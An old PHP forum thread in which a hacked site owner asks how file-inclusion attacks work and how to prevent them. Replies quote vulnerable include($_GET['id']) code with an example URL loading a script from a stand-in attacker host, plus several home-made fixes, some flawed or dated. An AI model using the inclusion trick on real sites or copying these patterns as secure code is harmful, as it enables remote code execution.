Jump to content

PHP injected scripts


Recommended Posts

Recentley my site got hacked into and was used as a paltform for hosting a fake ebay site to steal passwords.

After talking to my host provider, it has been made clear that one of php script could have data injected into it to upload files to my site.

 

Now dose anyone have any more inforamtion on how this can be done, and how to prevent this from happening again?

Link to comment
Share on other sites

include("main.php") is safe...(assuming no problems in main.php)

If instead you were to have http://www.test.com/lookup.php?page=main.php where lookup.php had the following

include("$page");

this would NOT be safe (anything could be passed as a value for the variable "$page" so you are potentially including anything...

 

same idea for inserting data into SQL...if you are inserting variables that were passed by a site user you will want to check them first.  encode the characters that could cause problems, and validate that number fields only contain numbers, email address fields contain valid email addresses, strip out things that are not allowed...etc.

 

There is LOTS of info about this online, so just Google for "SQL Injection" and find a PHP function that will clean up your data.

Link to comment
Share on other sites

 

I just had to share some code that cracks me up

<?php
// the request url =  http://localhost/index.php?id=http://www.attackersWebpage.com/VeryNastyScript.php
include ($_GET['id']);
?>

 

oh and dont forget there are many other types of injection even someone just putting bold tags in their name so that they appear to be special wherever their name is used can be a nuisance, validate everything.

 

(and the above attack can be protected against by modifying your php.ini)

 

Link to comment
Share on other sites

I've been doing some reading on this, and my head hurts.

So much to think about.

What was once a basic script, is now my down fall. (Caught with pants down).

 

I've been thinking of possible ways around this and one of them (of the top of my head) is somthing like this:

 

<?php
$id = $_GET['id'];
if ($id) {
include("http://www.test.com/$id");
}
?>

 

Now then if some one tryed to put in http://www.test.com?id=http://www.attacker.com/attacker.php

Then this code would try to include http://www.test.com/http://www.attacker.com/attacker.php

 

Now could somthing that simple work?

What kind of problem could this corse?

 

I'll keep researching this, and thanks for the help.

Link to comment
Share on other sites

What I do with the include part of my index.php is that I always check for slashes and also I always use if (!file_exists()) { $include = "missing.php"; }

 

so.. this is how my homepage part looks like:

<?php

$include = "home.php";
$show = $_GET['show'];
$archive = $_GET['archive'];
$aID = $_GET['aID'];
if (isset($show)) {
	if (!isset($archive)) {
		$chkSlash = explode("/", $show);
		if (!empty($chkSlash[1])) { $include = stripslashes($chkSlash).".php"; }
		else { $include = "$show.php"; }
	} else {
		$chkArray = array($show, $archive, $aID);
		$chkSlash = explode("/", $chkArray);
		if (!empty($chkSlash[1])) { $include = stripslashes($chkSlash).".php"; }
		else { $include = "archive/$archive/$aID/$aID.php"; }
	}
}
if (!file_exists($include)) { $include = "missing.php"; }
require_once($include);

?>

 

i feel pretty safe when it comes to trying to mess with my URL... and I try to secure all my MySQL codes the best way i know how... like you guys said.. strip_tags(), stripslashes(), trim(), mysql_real_escape_string() etc...

 

wish people had more to do than hacking other peoples sites... would save us a lot of work..

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.